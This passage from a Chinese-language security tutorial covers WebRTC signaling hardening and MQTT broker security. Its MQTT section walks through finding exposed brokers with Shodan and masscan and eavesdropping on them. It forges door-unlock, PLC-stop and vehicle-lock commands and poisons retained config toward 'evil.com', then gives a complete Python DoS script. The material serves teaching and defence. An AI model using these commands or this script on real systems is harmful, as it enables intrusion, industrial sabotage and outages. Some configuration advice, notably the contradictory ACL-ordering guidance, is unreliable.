      // 检查实际的加密套件
      if (report.type === 'candidate-pair' && report.state === 'succeeded') {
        const local = stats.get(report.localCandidateId);
        if (local) {
          console.log('[WebRTC] 使用的候选类型:', local.candidateType);
          if (local.candidateType === 'relay') {
            console.log('  → 走 TURN 中继,未暴露本地 IP');
          } else if (local.candidateType === 'host') {
            console.warn('  ⚠️  使用 host 候选,本地 IP 可能暴露给对端');
          }
        }
      }
    });

    if (!dtlsVerified) {
      console.error('[WebRTC] ❌ DTLS 未建立,连接可能未加密!');
      return false;
    }

    return true;
  }

  handleIceFailure() {
    // ICE 失败,尝试用纯 relay 模式重连
    console.warn('[WebRTC] ICE 失败,尝试纯中继模式');
    this.pc.setConfiguration({
      ...this.pc.getConfiguration(),
      iceTransportPolicy: 'relay'    // 强制走 TURN
    });
    this.pc.restartIce();
  }
}

5.4.5 信令服务器安全(WebRTC 最薄弱的环节)

为什么信令服务器是弱点:

WebRTC 的数据通道是加密的(DTLS-SRTP,强制), 但建立连接的过程(信令)完全由你自己实现,没有任何标准保护它。

数据通道:   A ←──── DTLS 加密 ────→ B     ✅ 强制加密
信令通道:   A ←──── 你的 WebSocket ──→ 服务器 ──→ B   ❌ 你自己保证安全

信令服务器的攻击面:

攻击 说明 后果
房间 ID 可猜测 房间号是 123456、room1 陌生人进入你的会议(Zoombombing)
无鉴权加入 任何人能加入任何房间 窃听、骚扰
SDP 注入 篡改 SDP 内容 降级攻击、插入恶意 ICE 服务器
信令重放 重放他人的 offer/answer 会话劫持
DoS 疯狂创建房间/连接 服务不可用

✅ 安全的信令服务器设计:

/**
 * WebRTC 安全信令服务
 *
 * 安全要点:
 *   ① 房间 ID 用密码学随机(不可猜测)
 *   ② 加入房间需要鉴权(Token + 房间密码/邀请码)
 *   ③ SDP 内容校验(防止注入恶意 ICE 服务器)
 *   ④ 房间人数上限 + 成员白名单
 *   ⑤ 信令消息限流
 */
@Service
@Slf4j
public class SecureSignalingService {

    @Autowired
    private SimpMessagingTemplate messagingTemplate;

    @Autowired
    private RoomRepository roomRepository;

    private final SecureRandom secureRandom = new SecureRandom();

    /**
     * 创建房间
     */
    public RoomInfo createRoom(Long ownerId, CreateRoomRequest request) {
        // ① 生成不可猜测的房间 ID
        //    128 位随机 → 2^128 种可能,暴力破解不可能
        String roomId = generateSecureRoomId();

        // ② 生成房间访问码(类似会议密码)
        String accessCode = request.isRequirePassword()
            ? generateAccessCode()
            : null;

        Room room = Room.builder()
                .roomId(roomId)
                .ownerId(ownerId)
                .accessCode(accessCode)   // 存 BCrypt hash
                .maxParticipants(request.getMaxParticipants() != null
                                 ? Math.min(request.getMaxParticipants(), 50) : 10)
                .createdAt(System.currentTimeMillis())
                .expiresAt(System.currentTimeMillis() + Duration.ofHours(4).toMillis())
                .status(RoomStatus.ACTIVE)
                .build();

        roomRepository.save(room);

        log.info("[信令] 创建房间. roomId={}, ownerId={}, 需要密码={}",
                 roomId, ownerId, accessCode != null);

        return RoomInfo.from(room, accessCode);   // 只有创建者能拿到 accessCode
    }

    /**
     * 加入房间(★ 核心鉴权逻辑)
     */
    public JoinResult joinRoom(Long userId, String roomId, String accessCode) {
        Room room = roomRepository.findById(roomId)
                .orElseThrow(() -> new BizException("房间不存在"));

        // ===== ① 房间状态检查 =====
        if (room.getStatus() != RoomStatus.ACTIVE) {
            throw new BizException("房间已关闭");
        }
        if (System.currentTimeMillis() > room.getExpiresAt()) {
            throw new BizException("房间已过期");
        }

        // ===== ② 人数上限检查 =====
        long currentCount = countParticipants(roomId);
        if (currentCount >= room.getMaxParticipants()) {
            log.warn("[信令] 房间已满. roomId={}, count={}, max={}",
                     roomId, currentCount, room.getMaxParticipants());
            throw new BizException("房间已满");
        }

        // ===== ③ 封禁检查 =====
        if (room.getBannedUserIds().contains(userId)) {
            throw new BizException("您已被移出该房间");
        }

        // ===== ④ 访问码校验(如果房间设了密码)=====
        if (room.getAccessCodeHash() != null) {
            if (accessCode == null) {
                throw new BizException("该房间需要访问码");
            }
            if (!BCrypt.checkpw(accessCode, room.getAccessCodeHash())) {
                // ★ 记录失败次数,防爆破
                recordFailedAttempt(userId, roomId);
                throw new BizException("访问码错误");
            }
        }

        // ===== ⑤ 加入频率限制(防刷)=====
        checkJoinRateLimit(userId);

        // ===== ⑥ 生成加入令牌(后续信令都带它)=====
        String joinToken = generateJoinToken(userId, roomId);

        // ===== ⑦ 通知房间内其他成员 =====
        messagingTemplate.convertAndSend(
            "/topic/room/" + roomId,
            Map.of(
                "type", "user-joined",
                "userId", userId,
                "timestamp", System.currentTimeMillis()
            )
        );

        log.info("[信令] 用户加入房间. roomId={}, userId={}", roomId, userId);

        return new JoinResult(true, joinToken, room.getMaxParticipants());
    }

    /**
     * 转发 SDP(★ 内容校验)
     */
    public void relaySdp(Long userId, String roomId, SdpMessage sdp) {
        // ===== ① 校验用户确实在房间里 =====
        if (!isUserInRoom(userId, roomId)) {
            throw new BizException("您不在该房间中");
        }

        // ===== ② SDP 大小限制 =====
        if (sdp.getSdp().length() > 50_000) {
            log.warn("[信令] SDP 过大. userId={}, size={}", userId, sdp.getSdp().length());
            throw new BizException("SDP 内容过大");
        }

        // ===== ③ ★ SDP 内容校验:防止注入恶意 ICE 服务器 =====
        //
        // 攻击场景:
        //   攻击者构造一个 SDP,里面的 iceServers 指向自己的 TURN 服务器。
        //   如果服务端无脑转发,对端的流量就会经过攻击者的服务器 → 中间人窃听
        //
        // 防御:只允许使用我方下发的 ICE 服务器
        validateSdpIceServers(sdp.getSdp());

        // ===== ④ 转发给目标用户 =====
        messagingTemplate.convertAndSendToUser(
            sdp.getTargetUserId().toString(),
            "/queue/sdp",
            Map.of(
                "type", sdp.getType(),       // offer / answer
                "sdp", sdp.getSdp(),
                "fromUserId", userId         // ★ 由服务端填充,不接受客户端自称
            )
        );
    }

    /**
     * 校验 SDP 中的 ICE 服务器
     */
    private void validateSdpIceServers(String sdp) {
        // 提取 SDP 中所有 candidate 行的 IP
        Pattern pattern = Pattern.compile(
            "a=candidate:\\S+\\s+\\d+\\s+\\S+\\s+\\d+\\s+([\\d.]+|[a-fA-F0-9:]+)\\s+(\\d+)",
            Pattern.MULTILINE
        );

        Matcher matcher = pattern.matcher(sdp);
        while (matcher.find()) {
            String ip = matcher.group(1);

            // 检查 IP 是否在允许的 ICE 服务器列表里
            if (!isAllowedIceServer(ip)) {
                log.warn("[信令] SDP 包含未授权的 ICE 服务器 IP: {}", ip);
                throw new SecurityException("SDP 包含未授权的服务器地址");
            }
        }
    }

    private boolean isAllowedIceServer(String ip) {
        // 从配置读取允许的 STUN/TURN 服务器 IP
        return allowedIceServerIps.contains(ip);
    }

    /**
     * 生成密码学安全的房间 ID
     */
    private String generateSecureRoomId() {
        byte[] bytes = new byte[16];   // 128 位
        secureRandom.nextBytes(bytes);
        return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
        // 结果类似:Xk9mPq2LrT4wY8zA
        // ★ 对比:绝对不要用 "room" + 自增数字,那是可枚举的
    }

    /**
     * 生成 6 位访问码
     */
    private String generateAccessCode() {
        return String.format("%06d", secureRandom.nextInt(1_000_000));
    }

    /**
     * 记录访问码尝试失败次数(防爆破)
     */
    private void recordFailedAttempt(Long userId, String roomId) {
        String key = "room:fail:" + roomId + ":" + userId;
        Long fails = redis.opsForValue().increment(key);
        if (fails != null && fails == 1) {
            redis.expire(key, Duration.ofMinutes(15));
        }
        if (fails != null && fails >= 5) {
            log.warn("[信令] 访问码爆破检测. roomId={}, userId={}, fails={}",
                     roomId, userId, fails);
            throw new BizException("尝试次数过多,请 15 分钟后再试");
        }
    }

    /**
     * 加入频率限制
     */
    private void checkJoinRateLimit(Long userId) {
        String key = "room:join:rate:" + userId;
        Long count = redis.opsForValue().increment(key);
        if (count != null && count == 1) {
            redis.expire(key, Duration.ofMinutes(1));
        }
        if (count != null && count > 10) {
            throw new BizException("操作过于频繁,请稍后再试");
        }
    }
}

5.4.6 WebRTC 安全检查清单

WebRTC 上线前必查(12 项):

信令服务器:
  ☐ 房间 ID 用密码学随机(≥128 位),不用自增数字
  ☐ 加入房间需要鉴权(Token + 可选访问码)
  ☐ 访问码失败次数限制(防爆破)
  ☐ 房间有过期时间(不用的自动清理)
  ☐ 房间人数上限
  ☐ SDP 内容校验(ICE 服务器白名单,防中间人注入)
  ☐ 信令消息限流

TURN 服务器:
  ☐ 禁用匿名访问(no-anonymous-access)
  ☐ 使用动态凭据(use-auth-secret),不用静态密码
  ☐ 凭据有有效期(建议 ≤ 2 小时)
  ☐ denied-peer-ip 禁用内网段(防止变成内网扫描器)
  ☐ 带宽限制(max-bps / user-quota)

客户端:
  ☐ 敏感场景用 iceTransportPolicy: 'relay'(隐藏本地 IP)
  ☐ 建立后验证 DTLS 状态(getStats 检查)
  ☐ 提示用户 WebRTC 可能泄露 IP(隐私声明)


5.5 MQTT 安全(物联网的“广播电台”)

这一节是第五章的重点。MQTT 是物联网事实上的标准协议, 也是暴露在公网上最多的协议之一——Shodan 上能搜到几十万台开放的 MQTT Broker, 其中大量允许匿名访问,能直接订阅到别人的传感器数据、车辆位置、工控指令。

5.5.1 MQTT 是什么(一句话 + 类比)

白话:MQTT 是一个发布/订阅模型的超轻量消息协议。设备不直接互相通信, 而是都连到一个中间人(Broker),往“频道”(Topic)发消息,谁订阅了谁就收到。

生活类比:

传统 HTTP(请求-响应):
  你打电话给气象台问天气 → 气象台回答 → 挂断
  (一对一,每次都要重新拨号,你知道对方的号码)

MQTT(发布/订阅):
  气象台在广播电台 88.0MHz 播报天气(发布到 Topic)
  想知道天气的人把收音机调到 88.0MHz(订阅 Topic)
  ↓
  气象台不知道谁在听,听的人不知道谁在播
  (多对多,解耦,你不需要知道对方是谁)

三个核心概念:

概念 白话 类比
Broker 消息中转站,所有消息都过它 邮局 / 广播站
Topic 消息的分类标签,用 / 分层 电台频率 / 邮箱地址
Publisher / Subscriber 发消息的人 / 收消息的人 播音员 / 听众

为什么物联网都用 MQTT 而不用 HTTP:

对比(同样的"上报一次温度"):

HTTP:
  POST /api/temp HTTP/1.1
  Host: iot.example.com
  Content-Type: application/json
  Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  User-Agent: Mozilla/5.0 ...
  Content-Length: 45

  {"deviceId":"sensor-001","temp":25.6,"ts":1700000000}

  → 总字节数:约 250 字节

MQTT:
  [2 字节固定头] [Topic: sensors/001/temp] [Payload: 25.6]
  → 总字节数:约 30 字节

差别:
  - MQTT 报文头最小只有 2 字节(HTTP 头动辄几百字节)
  - 省电(NB-IoT 按流量计费,省的就是钱)
  - 省带宽(弱网环境,2G/3G/LoRa)
  - 支持长连接推送(服务端能主动下发指令)
  - 支持断线重连 + 离线消息

5.5.2 Topic 结构与通配符(理解越权的关键)

Topic 长什么样:

factory/line1/device001/temperature
factory/line1/device001/humidity
factory/line2/device003/pressure
vehicles/BJ/京A12345/gps
vehicles/BJ/京A12345/speed
home/livingroom/light/status
home/livingroom/light/command       ← ★ 注意这个:command 是下发指令的 Topic!

Topic 设计原则:

✅ 好的设计:
   {组织}/{区域}/{设备类型}/{设备ID}/{数据类型}
   acme/beijing/plant1/sensor-001/temperature

✅ 分方向:
   devices/{id}/up/telemetry     ← 设备上报(设备可写,平台可读)
   devices/{id}/down/command     ← 平台下发(平台可写,设备可读)
   ★ 上行和下行用不同前缀,ACL 才能精确控制

❌ 坏的设计:
   data                          ← 太笼统,无法做 ACL
   sensor-001                    ← 没有层次,无法批量订阅
   temp                          ← 所有设备挤在一起

★ 两个通配符(这是 MQTT 越权的核心):

通配符 含义 示例 匹配
+ 匹配单层 factory/+/device001/temp factory/line1/device001/temp ✅
factory/line1/line2/device001/temp ❌
# 匹配任意多层(必须在最后) factory/# factory/line1/device001/temp ✅
factory/anything/deep/path ✅
# 单独用 匹配所有 Topic # ⚠️ 订阅到整个 Broker 的所有消息!
$SYS/# 系统主题 $SYS/broker/clients/connected Broker 自身的运行数据

为什么 # 这么危险:

# 一条命令,订阅到整个 Broker 的所有消息
mosquitto_sub -h broker.example.com -t '#' -v

# 你会收到什么?
#   factory/line1/device001/temperature 25.6
#   factory/line1/device001/pressure 101.3
#   vehicles/BJ/京A12345/gps {"lat":39.9,"lng":116.4}
#   home/livingroom/light/status on
#   home/livingroom/doorlock/command {"action":"unlock"}   ← ★ 门禁开锁指令!
#   hospital/patient-003/heartrate 78
#   $SYS/broker/clients/connected 1523
#
# 一个匿名连接的 # 订阅,等于拿到了整个系统的所有数据

5.5.3 QoS 三个等级(理解“消息会不会丢”)

白话:QoS(Quality of Service)就是“这条消息我要保证送到什么程度”。

生活类比(发快递):

QoS 名称 白话 快递类比 报文次数 用途
0 最多一次 发出去就不管了 平信,丢了不重发 1 次 高频传感器数据(丢一两个无所谓)
1 至少一次 没收到确认就重发 挂号信,签收为止(可能重复送) ≥2 次 告警、状态上报(可以重复,不能丢)
2 恰好一次 四次握手确保只送一次 签收单要回执,回执也要签收 4 次 计费、交易指令(不能丢、不能重)

QoS 2 的四次握手(面试常考):

Publisher                          Broker
    │                                 │
    │──── ① PUBLISH (qos=2, pktId) ──→│   存消息(暂存起来,先不投递)
    │                                 │
    │←─── ② PUBREC (pktId) ───────────│   我收到了,你别再重发了
    │                                 │
    │──── ③ PUBREL (pktId) ──────────→│   你可以把消息投递出去了
    │                                 │   (此时 Broker 才真正投递给订阅者)
    │                                 │
    │←─── ④ PUBCOMP (pktId) ──────────│   已完成,双方都可以清理状态了
    │                                 │

为什么要 4 步?
  QoS 1 的问题:Publisher 重发 PUBLISH,Broker 可能收到两次 → 投递两次
  QoS 2 的解决:用 PUBREC 让 Publisher 知道"我已经收到了",
                 Publisher 就不再重发 PUBLISH,而是发 PUBREL 说"你可以投递了"
                 双方都有"状态记录"(pktId),才能保证恰好一次

QoS 与安全的关系(很多人忽略):

⚠️ QoS 不是安全机制,它是"可靠性"机制。

但 QoS 会影响安全:
  ① QoS 2 开销最大(4 次往返),攻击者可以用 QoS 2 发海量消息消耗资源
  ② QoS 1/2 需要 Broker 存储未确认消息 → 攻击者发一堆永不确认的消息
     → Broker 内存被占满(MQTT 版的"慢速攻击")
  ③ 离线消息持久化:如果打开了持久会话(cleanSession=false),
     攻击者可以给离线设备塞大量消息,设备上线的瞬间被冲垮

防御配置:

# EMQX 配置:限制 QoS 相关资源

# 每个客户端最多允许的"未确认的 QoS1/2 消息数"
# ★ 关键:防止客户端发一堆 QoS2 消息后不确认,占满 Broker 内存
max_inflight: 32

# 离线消息队列最大长度
# ★ 防止给离线设备塞消息塞到爆
max_queued_messages: 1000

# 单条消息最大大小(1MB)
max_packet_size: 1048576

# 持久会话过期时间(即使客户端要求持久,也强制过期)
# MQTT 5.0 特性
session_expiry_interval: 2h

# 飞行窗口(inflight window)超时
await_rel_timeout: 300s

5.5.4 ★ 未授权访问攻击实战(从发现到拿下)

这是真实会发生的事,不是理论。下面是完整的攻击链。

步骤 1:发现暴露的 Broker

# ========== 方法一:Shodan / FOFA / ZoomEye(网络空间搜索引擎)==========

# Shodan 搜索语法
#   product:"MQTT"                          —— 所有 MQTT Broker
#   product:"MQTT" port:1883                —— 默认端口
#   "MQTT Connection Code: 0"               —— 匿名可连的(指纹特征)
#   product:"Mosquitto"                     —— Mosquitto  broker
#   product:"EMQX"                          —— EMQX broker
#   country:"CN" product:"MQTT"             —— 限定国家

# FOFA 语法(国内更好用)
#   protocol="mqtt"
#   protocol="mqtt" && port="1883"
#   protocol="mqtt" && country="CN"
#   app="EMQX"
#   app="Mosquitto"

# ZoomEye
#   service:"mqtt"

# 典型结果(脱敏):
#   45.xx.xx.xx:1883    MQTT Connection Code: 0    Mosquitto 1.6.9
#   123.xx.xx.xx:1883   MQTT Connection Code: 0    EMQX 4.4.3
#   210.xx.xx.xx:1883   MQTT Connection Code: 0    VerneMQ

# ========== 方法二:自己扫描(授权范围内)==========
nmap -p 1883,8883,8083,8084 --script mqtt-subscribe -iL targets.txt

# ========== 方法三:masscan 全网扫 ==========
masscan 0.0.0.0/0 -p1883 --rate 10000 -oL mqtt_hosts.txt
# 注意:全网扫描在很多国家是违法的,只在授权范围内做

步骤 2:测试匿名访问

# ========== MQTT 客户端工具 ==========
# Mosquitto 自带(最常用)
sudo apt install mosquitto-clients

# 测试是否能匿名连接并订阅所有 Topic
mosquitto_sub -h 45.xx.xx.xx -p 1883 -t '#' -v -d

# 参数说明:
#   -h  主机
#   -p  端口(1883 = 明文,8883 = TLS)
#   -t  订阅的 Topic(# = 全部)
#   -v  显示 Topic 名(否则只有内容)
#   -d  调试模式(看详细过程)

# ========== 结果判读 ==========
# ✅ Connection Code: 0   → 连接成功!匿名访问允许
# ❌ Connection Refused: not authorised  → 需要认证(好现象)
# ❌ Connection Refused: bad user name or password → 需要正确凭据

# ========== 如果是 TLS 端口(8883)==========
mosquitto_sub -h broker.example.com -p 8883 -t '#' -v \
    --cafile /etc/ssl/certs/ca-certificates.crt

# 忽略证书验证(自签证书场景)
mosquitto_sub -h broker.example.com -p 8883 -t '#' -v --insecure

# ========== WebSocket MQTT(8083/8084)==========
# 很多 Broker 开了 WebSocket 端口,浏览器直连
mosquitto_sub -h broker.example.com -p 8083 -t '#' -v -V mqttv311

步骤 3:信息收集(看看能拿到什么)

# ========== ① 订阅所有系统主题(Broker 自身信息)==========
mosquitto_sub -h BROKER -t '$SYS/#' -v

# 典型输出:
#   $SYS/broker/version EMQX 4.4.3              ← 版本号(可查 CVE)
#   $SYS/broker/clients/connected 1523          ← 在线设备数
#   $SYS/broker/clients/maximum 8901
#   $SYS/broker/subscriptions/count 3412
#   $SYS/broker/messages/received 1293847
#   $SYS/broker/load/messages/received/1min 234.5
#   $SYS/broker/uptime 34 days
#   $SYS/broker/datetime 2026-09-02 13:20:45    ← 服务器时间

# ========== ② 订阅客户端上下线事件(设备清单!)==========
mosquitto_sub -h BROKER -t '$SYS/broker/clients/#' -v

# 更进一步:EMQX 的系统主题能拿到每个客户端的上下线
mosquitto_sub -h BROKER -t '$SYS/brokers/+/clients/+/connected' -v
mosquitto_sub -h BROKER -t '$SYS/brokers/+/clients/+/disconnected' -v

# 输出示例(JSON):
# {
#   "clientid": "vehicle_京A12345",
#   "username": "device_user",
#   "ipaddress": "223.104.x.x",
#   "clean_start": true,
#   "protocol": "mqtt",
#   "connack": 0,
#   "ts": 1700000000
# }
# ★ 这等于拿到了完整的设备清单 + IP + 上线规律

# ========== ③ 静默监听业务 Topic(最有价值)==========
# 先听 5 分钟,看有哪些 Topic 在活跃
timeout 300 mosquitto_sub -h BROKER -t '#' -v | tee mqtt_traffic.log

# 分析 Topic 结构
cat mqtt_traffic.log | awk '{print $1}' | sort -u > topics.txt
cat topics.txt | head -50

# 找敏感 Topic
grep -iE "cmd|command|control|unlock|open|switch|set|config|passwd|token|key" topics.txt

步骤 4:发布消息(从窃听升级到控制)

# ⚠️ 以下操作在真实环境中可能违法,仅在授权靶场/自有设备上测试

# ========== 场景 A:智能门锁 ==========
# 先监听,看正常的开锁指令长什么样
mosquitto_sub -h BROKER -t 'home/+/doorlock/command' -v
# 观察到正常指令:{"action":"unlock","code":"123456","ts":1700000000}

# 然后伪造
mosquitto_pub -h BROKER -t 'home/livingroom/doorlock/command' \
    -m '{"action":"unlock","code":"123456","ts":1700000001}'

# ========== 场景 B:工业控制 ==========
# 监听到 PLC 控制指令
mosquitto_sub -h BROKER -t 'factory/line1/plc001/command' -v

# 下发停机指令(真实后果:产线停机,损失按分钟计)
mosquitto_pub -h BROKER -t 'factory/line1/plc001/command' \
    -m '{"cmd":"STOP","target":"MOTOR_01"}' -q 2

# 篡改设定值(更隐蔽:不立即停机,而是让产品质量出问题)
mosquitto_pub -h BROKER -t 'factory/line1/plc001/setpoint/temperature' -m '350'
# 正常是 180℃,改成 350℃ → 产品报废 / 设备损坏

# ========== 场景 C:车辆 ==========
# 伪造 GPS 上报(篡改车辆位置,欺骗调度系统)
mosquitto_pub -h BROKER -t 'vehicles/BJ/京A12345/gps' \
    -m '{"lat":39.9,"lng":116.4,"speed":0,"ts":1700000000}'

# 下发锁车指令
mosquitto_pub -h BROKER -t 'vehicles/BJ/京A12345/command' \
    -m '{"cmd":"LOCK_ENGINE"}'

# ========== 场景 D:保留消息投毒(更持久)==========
# ★ 保留消息会被 Broker 记住,每次新订阅者都先收到它
# 投毒后,即使你断开,攻击效果还在
mosquitto_pub -h BROKER -t 'home/livingroom/light/status' \
    -m '{"status":"off"}' -r        # -r = retain

# 更狠:投毒配置类 Topic
mosquitto_pub -h BROKER -t 'devices/+/config/server' \
    -m '{"server":"http://evil.com/collect"}' -r
# 设备上线下次拉取配置时,就会把数据发到攻击者的服务器

步骤 5:DoS(最后一步,也是最容易的)

#!/usr/bin/env python3
"""
MQTT 拒绝服务攻击演示(仅用于授权测试)

三种打法:
  ① 连接洪水:建大量连接,耗尽 Broker 的 socket
  ② 消息洪水:高频发消息,耗尽 CPU/带宽
  ③ 遗嘱炸弹:设置巨大的 LWT 消息,连接断开时触发
"""
import paho.mqtt.client as mqtt
import threading
import time
import random
import string

BROKER = "broker.example.com"
PORT = 1883


def random_client_id():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=16))


# ============ 打法 ①:连接洪水 ============
def connection_flood(count=5000):
    """
    建立大量连接并保持

    为什么有效?
      Broker 默认有最大连接数限制(Mosquitto 默认无限制,EMQX 默认 100 万),
      但每个连接都占:
        - 一个 TCP socket(受 ulimit 限制)
        - 内存(会话状态、订阅表)
        - 文件描述符
      打满后,合法设备就连接不上了
    """
    clients = []

    for i in range(count):
        try:
            client = mqtt.Client(client_id=random_client_id())
            client.connect(BROKER, PORT, keepalive=600)
            client.loop_start()
            clients.append(client)

            if i % 500 == 0:
                print(f"[连接洪水] 已建立 {i} 个连接")

        except Exception as e:
            print(f"[连接洪水] 第 {i} 个连接失败: {e}")
            break

    print(f"[连接洪水] 完成,共 {len(clients)} 个连接,保持中...")
    time.sleep(3600)


# ============ 打法 ②:消息洪水 ============
def message_flood(threads=20, rate_per_thread=1000):
    """
    高频发布消息

    为什么有效?
      Broker 收到消息要做:
        - 解析报文
        - 匹配订阅树(Topic 匹配是 CPU 密集操作)
        - 转发给所有订阅者
        - ACL 检查
        - 持久化(如果开了)
      大量消息会打满 CPU 和网络带宽
    """
    def worker(worker_id):
        client = mqtt.Client(client_id=random_client_id())
        client.connect(BROKER, PORT, keepalive=60)
        client.loop_start()

        payload = b'x' * 1024      # 1KB 消息
        sent = 0

        while True:
            try:
                # ★ 用很深的 Topic + 通配符,让 Broker 的订阅树匹配变慢
                topic = f"flood/{worker_id}/a/b/c/d/e/f/g/h/{sent % 100}"
                client.publish(topic, payload, qos=0)
                sent += 1

                if sent % rate_per_thread == 0:
                    time.sleep(0.1)   # 控制速率

            except Exception as e:
                print(f"[消息洪水-{worker_id}] 错误: {e}")
                break

    for i in range(threads):
        t = threading.Thread(target=worker, args=(i,), daemon=True)
        t.start()

    print(f"[消息洪水] {threads} 个线程已启动")
    time.sleep(3600)


# ============ 打法 ③:遗嘱炸弹 ============
def will_bomb(count=1000):
    """
    设置超大的遗嘱消息,然后断开连接

    为什么有效?
      LWT(Last Will and Testament)是连接时设置的"遗愿消息",
      客户端异常断开时,Broker 会自动发布它。

      攻击者建 N 个连接,每个都设置 1MB 的遗嘱消息,
      然后同时断开 → Broker 瞬间要发布 N × 1MB = N GB 的消息
      给所有订阅了这些 Topic 的客户端 → 网络和设备被打爆
    """
    clients = []

    for i in range(count):
        client = mqtt.Client(client_id=random_client_id())

        # 设置 1MB 的遗嘱消息
        client.will_set(
            f"will/bomb/{i}",
            payload=b'A' * (1024 * 1024),     # 1MB
            qos=1,
            retain=False
        )

        client.connect(BROKER, PORT, keepalive=60)
        client.loop_start()
        clients.append(client)

    print(f"[遗嘱炸弹] {len(clients)} 个连接已设置遗嘱,3 秒后同时断开")
    time.sleep(3)

    # 同时断开(不发送 DISCONNECT,模拟异常掉线)
    for client in clients:
        try:
            client._sock.close()    # 直接关 socket,不走正常断开流程
        except Exception:
            pass

    print("[遗嘱炸弹] 已触发")


if __name__ == '__main__':
    import sys
    mode = sys.argv[1] if len(sys.argv) > 1 else 'help'

    if mode == 'conn':
        connection_flood()
    elif mode == 'msg':
        message_flood()
    elif mode == 'will':
        will_bomb()
    else:
        print(__doc__)

5.5.5 MQTT 认证机制(怎么把门关上)

五种认证方式对比:

方式 怎么做 强度 说明
匿名 allow_anonymous true ❌ 等于把数据挂在网上
用户名 + 密码 明文传输(MQTT 3.1.1) ⭐⭐ 必须配 TLS,否则抓包即得
ClientID 认证 Broker 校验客户端 ID ⭐ ClientID 在协议里是明文的,可伪造
客户端证书(mTLS) 双向 TLS ⭐⭐⭐⭐⭐ 最推荐,但证书管理复杂
增强认证(MQTT 5.0) SCRAM-SHA-256 挑战应答 ⭐⭐⭐⭐ 密码不上网,但需要客户端支持

★ 关键认知:MQTT 3.1.1 的用户名密码是明文传输的

MQTT CONNECT 报文结构(简化):
┌────────────────────────────────────────────┐
│ 固定头 (CONNECT)                            │
├────────────────────────────────────────────┤
│ 协议名 "MQTT"                               │
│ 协议级别 4 (3.1.1)                          │
│ 连接标志:username_flag=1, password_flag=1  │
│ Keep Alive: 60                              │
├────────────────────────────────────────────┤
│ Client ID: "device-001"                     │  ← 明文
│ Username:  "device_user"                    │  ← 明文
│ Password:  "P@ssw0rd123"                    │  ← ★ 明文!
└────────────────────────────────────────────┘

如果用 1883 端口(非 TLS):
  抓一个包就能看到密码:
  tcpdump -i eth0 -A -s 0 'port 1883' | grep -i password
  # 或者用 Wireshark:mqtt 协议解析器会直接显示出来

✅ Mosquitto 安全配置(完整):

# /etc/mosquitto/mosquitto.conf —— 生产安全配置

# ========== 基础 ==========
pid_file /var/run/mosquitto/mosquitto.pid
persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log
log_type error
log_type warning
log_type notice
log_type information
# ★ 不要开 log_type debug/debug 会记录所有消息内容(含敏感数据)

# ========== 监听端口 ==========
# ① 本地监听(不加密,只给本机进程用)
listener 1883 127.0.0.1

# ② 外部监听(★ 必须加密)
listener 8883 0.0.0.0
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key

# ★ 双向 TLS:要求客户端也提供证书
require_certificate true
use_identity_as_username true      # 用证书的 CN 作为用户名(配合 ACL)

# TLS 版本限制:只支持 1.2 和 1.3
tls_version tlsv1.2

# 加密套件:只用 AEAD 套件(GCM / ChaCha20)
ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305

# ========== ★ 认证(最关键)==========
# 禁用匿名访问!这是最重要的一行
allow_anonymous false

# 密码文件(用 mosquitto_passwd 生成,BCrypt hash)
password_file /etc/mosquitto/passwd

# 或者使用 ACL 文件(同时定义用户和权限)
acl_file /etc/mosquitto/acl

# ========== 资源限制(防 DoS)==========
# 最大连接数(0 = 无限,生产环境一定要设)
max_connections 10000

# 单条消息最大 1MB
message_size_limit 1048576

# 每个客户端的飞行窗口(未确认的 QoS1/2 消息)
max_inflight_messages 32

# 客户端 QoS1/2 消息重试超时
retry_interval 20

# ★ 限制每个客户端的订阅数(防止订阅几万个 Topic 耗尽内存)
max_queued_messages 1000

# 保持连接超时(客户端 1.5 倍时间不发心跳就断开)
# 客户端 keepalive 最大允许值
max_keepalive 65535

# ========== 安全加固 ==========
# 以非 root 用户运行
user mosquitto

# 禁止客户端覆盖自己的 ClientID(防冒充)
# MQTT 5.0 特性
# 注意:3.1.1 无法强制

# ★ 禁止订阅 $SYS(系统主题泄露信息)
# 通过 ACL 实现(见下)

ACL 文件配置(最关键的访问控制):

# /etc/mosquitto/acl
#
# 格式:
#   user <username>
#   topic <read|write|readwrite|deny> <topic>
#
# ★ 原则:默认拒绝,显式授权
# ★ 注意:没有匹配到任何规则的 Topic,默认是【拒绝】的

# ========== 全局:禁止所有人访问系统主题 ==========
# ★ 这一条非常重要:$SYS 会泄露 Broker 的所有内部信息
# 注意:pattern 用 %c 表示 clientid,%u 表示 username
topic deny $SYS/#

# ========== 设备用户:只能访问自己的 Topic ==========
# 方式一:用 %c(clientid)做变量替换
# 这样每个设备自动只能访问自己的 Topic,不用给每个设备写一条
pattern readwrite devices/%c/telemetry
pattern read     devices/%c/command
pattern readwrite devices/%c/status
# ★ 设备能上报数据(write telemetry),能接收指令(read command)
# ★ 但不能订阅别人的 telemetry(因为没有匹配规则)

# 方式二:用 %u(username)做变量替换(推荐,username 更难伪造)
pattern readwrite devices/%u/up/#
pattern read     devices/%u/down/#

# ========== 平台服务账号:可以读写所有设备 ==========
user platform_service
topic readwrite devices/+/telemetry
topic write     devices/+/command
topic read      devices/+/status
topic read      $SYS/broker/clients/connected      # 只允许看连接数

# ========== 只读监控账号 ==========
user monitor
topic read devices/+/telemetry
topic read $SYS/broker/uptime
topic read $SYS/broker/clients/connected

# ========== 管理员(谨慎使用)==========
user admin
topic readwrite #

# ========== 明确拒绝敏感操作 ==========
# 即使上面的规则可能覆盖,deny 规则要放在后面(某些实现是最后匹配生效)
# 注意:Mosquitto 是【按顺序匹配,第一个匹配的规则生效】
#       所以 deny 要放在 allow 之前

⚠️ ACL 匹配顺序的坑: Mosquitto 的 ACL 是顺序匹配,第一个匹配的规则生效。 所以如果先写了 topic read #(允许读所有),后面的 topic deny $SYS/# 就永远不生效。 正确做法:先写 deny,后写 allow。

EMQX 的 ACL(更现代,推荐):

